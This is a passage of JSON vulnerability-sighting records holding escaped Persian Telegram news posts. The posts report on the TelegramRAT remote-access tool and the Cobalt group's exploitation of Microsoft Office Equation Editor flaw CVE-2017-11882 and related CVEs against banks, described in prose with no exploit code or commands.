\u0645\u062d\u0644\u06cc \u0631\u0627 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u062f\u060c \u062b\u0627\u0628\u062a \u06a9\u0631\u062f\u0646 \u0635\u0641\u062d\u0647\u200c\u06a9\u0644\u06cc\u062f \u0631\u0627 \u0641\u0639\u0627\u0644 \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u062f\u060c \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f \u06af\u0648\u06af\u0644 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0645\u06cc\u06a9\u0631\u0648\u0641\u0648\u0646 \u0635\u062f\u0627 \u0636\u0628\u0637 \u06a9\u0646\u062f\u060c \u06af\u0632\u0627\u0631\u0634 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0634\u062e\u0635\u06cc \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u067e\u0631\u0648\u06a9\u0633\u06cc \u0628\u0627\u0632 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062e\u0627\u0645\u0648\u0634 \u0648 \u06cc\u0627 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627 \u062f\u0631 \u0632\u0645\u0627\u0646 \u0645\u0634\u062e\u0635 \u0632\u0645\u0627\u0646\u200c\u0628\u0646\u062f\u06cc \u06a9\u0646\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0648 \u0641\u0631\u0622\u06cc\u0646\u062f\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u062f\u060c \u0648 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0646\u062a\u06cc\u062c\u0647 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647: \u00ab TelegramRAT \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0635\u062f\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f \u062a\u0627 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0631\u062f. TelegramRAT \u0628\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0628\u0631 \u0628\u0648\u0645\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u0628\u0631\u0627\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u062e\u0648\u062f \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u067e\u06cc\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0642\u0627\u0648\u0645\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0628\u0647 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u062f \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u200c\u06cc \u0627\u0628\u0631\u06cc \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0647\u062f \u0648 \u0628\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 SSL \u0631\u0633\u06cc\u062f\u06af\u06cc \u06a9\u0646\u062f \u062a\u0627 \u0645\u0624\u062b\u0631 \u0628\u0627\u0634\u0646\u062f.\u00bb\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-27T00:01:36.553190Z"}, {"uuid": "e5d89063-c661-41aa-81bb-1d5b8a55a9ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6735", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 Cobalt \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83c\udf15\ud83d\udcd8 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd8\ud83c\udf15\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 Cobalt \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0645\u0627\u0647 \u062c\u0627\u0631\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062a\u0648\u0633\u0637 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0631 \u0648\u06cc\u0698\u06af\u06cc  Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0634\u0641 \u0634\u062f\u060c \u0648 \u062f\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0631\u0648\u0632 \u0633\u0647\u200c\u0634\u0646\u0628\u0647\u200c\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0631\u0641\u0639 \u0634\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0627\u06cc\u0646 \u0645\u0633\u0623\u0644\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0624\u0644\u0641\u0647\u200c\u0627\u06cc \u06a9\u0634\u0641 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648\u0632 \u06f9 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u062f\u0631 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0628\u062f\u0648\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0628\u0647 \u062c\u0627\u06cc \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u062f\u0631 \u06a9\u062f \u0645\u0646\u0628\u0639 \u0627\u0635\u0644\u0627\u062d \u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0646 \u062f\u0631 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0645\u0624\u0644\u0641\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u062a\u0633\u0647\u06cc\u0644 \u0627\u06cc\u062c\u0627\u062f \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0631\u06cc\u0627\u0636\u06cc \u0648 \u0639\u0644\u0645\u06cc\u060c Equation Editor \u062f\u0631 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f7\u060c \u0628\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0646\u0645\u0627\u06cc\u0634 \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0633\u0627\u0632\u06af\u0627\u0631\u06cc \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u060c \u0627\u0628\u0632\u0627\u0631 \u0642\u062f\u06cc\u0645\u06cc \u0647\u0645\u0686\u0646\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u06cc \u0645\u062d\u0628\u0648\u0628 \u0622\u0641\u06cc\u0633 \u0627\u0633\u062a.\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15 \n\n\u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 ReversingLabs \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0628\u0647 \u0636\u0628\u0637 \u06cc\u06a9 \u0633\u0646\u062f RTF \u0628\u0627 \u0637\u0631\u0627\u062d\u06cc \u062e\u0627\u0635 \u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0634\u062f \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0631\u0641\u0639 \u0634\u062f\u0647\u060c \u0627\u062e\u06cc\u0631\u0627\u064b \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646  Cobalt \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a.\n\n\u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u0628\u0627 \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0645\u0627\u0633 \u0628\u0631\u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u0627\u0648\u0644 \u0631\u0627 \u06a9\u0647 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 MSHTA.exe \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u062c\u0645\u0639\u200c\u0622\u0648\u0631\u06cc \u06a9\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u06a9\u062f \u0627\u062c\u0631\u0627\u0634\u062f\u0647 \u0628\u0647 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u0631\u062d\u0644\u0647\u200c\u06cc \u062f\u0648\u0645 \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u06a9\u0647 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0646\u0647\u0627\u06cc\u06cc \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u0631\u0627 \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f \u0627\u0628\u0632\u0627\u0631 \u0645\u062e\u0631\u0628 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647\u060c \u062f\u0631\u0628 \u067e\u0634\u062a\u06cc Cobalt Strike \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0622\u0644\u0648\u062f\u0647 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0635\u0631\u0641 \u0646\u0638\u0631 \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u06a9\u0647  \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u062e\u0648\u062f \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u0646\u0634\u062f\u0647\u200c\u06cc EQNEDT\u06f3\u06f2.EXE\u060c \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0622\u0641\u06cc\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062d\u062a\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0632\u0648\u062f\u06cc \u067e\u0633 \u0627\u0632 \u0639\u0645\u0648\u0645\u06cc \u0634\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062c\u0627\u06cc \u0647\u06cc\u0686 \u062a\u0639\u062c\u0628\u06cc \u0646\u06cc\u0633\u062a \u06a9\u0647 Cobalt \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u062f\u060c \u0645\u062e\u0635\u0648\u0635\u0627\u064b \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0646\u0641\u0648\u0630 \u062f\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u06a9\u0634\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0639\u0645\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u06af\u0631\u0648\u0647 Cobalt \u06af\u0631\u0648\u0647\u06cc \u0628\u0627 \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0645\u0627\u0644\u06cc\u060c \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0645\u0639\u0645\u0648\u0644\u0627\u064b \u0628\u0627\u0646\u06a9\u200c\u0647\u0627\u060c \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0628\u0627\u062f\u0644\u0627\u062a \u0645\u0627\u0644\u06cc\u060c \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0628\u06cc\u0645\u0647\u060c \u0635\u0646\u062f\u0648\u0642\u200c\u0647\u0627\u06cc \u0633\u0631\u0645\u0627\u06cc\u0647\u200c\u06af\u0630\u0627\u0631\u06cc\u060c \u0648 \u0633\u0627\u06cc\u0631 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0645\u0627\u0644\u06cc \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0627\u0632 \u0631\u0627\u06cc\u0627\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u06a9\u0647 \u0627\u0633\u0646\u0627\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u062f\u0631 \u067e\u06cc\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u0648 \u06cc\u0627 \u0627\u0632 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0641\u0634\u0631\u062f\u0647\u200c\u0634\u062f\u0647 \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0627\u0648\u0627\u06cc\u0644 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc\u060c \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f0\u06f1\u06f9\u06f9 \u06a9\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0622\u0648\u0631\u06cc\u0644 \u0648\u0635\u0644\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u06cc \u0634\u0645\u0627\u0644\u06cc \u06af\u0633\u062a\u0631\u0634 \u062f\u0627\u062f \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0645\u0644\u0627\u062a \u0632\u0646\u062c\u06cc\u0631\u0647\u200c\u06cc \u062a\u0627\u0645\u06cc\u0646 (\u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0622\u0644\u0648\u062f\u0647\u200c\u0633\u0627\u0632\u06cc \u06cc\u06a9 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u0646\u0648\u0646\u06cc \u062f\u0631 \u062d\u06cc\u0646 \u062a\u0648\u0633\u0639\u0647 \u0627\u0633\u062a) \u0631\u0627 \u0622\u063a\u0627\u0632 \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0642\u0637 \u0631\u0648\u06cc \u0627\u0631\u0648\u067e\u0627\u06cc \u0634\u0631\u0642\u06cc \u0648 \u0622\u0633\u06cc\u0627\u06cc \u0645\u0631\u06a9\u0632\u06cc \u0648 \u062c\u0646\u0648\u0628\u200c\u0634\u0631\u0642\u06cc \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u060c \u0627\u0645\u0627 \u0627\u06a9\u0646\u0648\u0646 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u06af\u0632\u0627\u0631\u0634\u06cc \u06a9\u0647 \u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f \u0646\u0634\u0627\u0646 \u062f\u0627\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u06af\u0631\u0648\u0647 \u0628\u0647 \u062c\u0627\u06cc \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u0628\u0627\u0646\u06a9\u060c \u062e\u0648\u062f \u0628\u0627\u0646\u06a9\u200c\u0647\u0627 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0627\u062a \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f8\u06f7\u06f5\u06f9 \u06a9\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 \u06a9\u062f \u0648 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062f\u0631 \u0686\u0627\u0631\u0686\u0648\u0628\u0650 \u062f\u0627\u062a\u200c\u0646\u062a \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a \u0648 \u062f\u0631 \u0645\u0627\u0647 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f6 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u0647\u060c 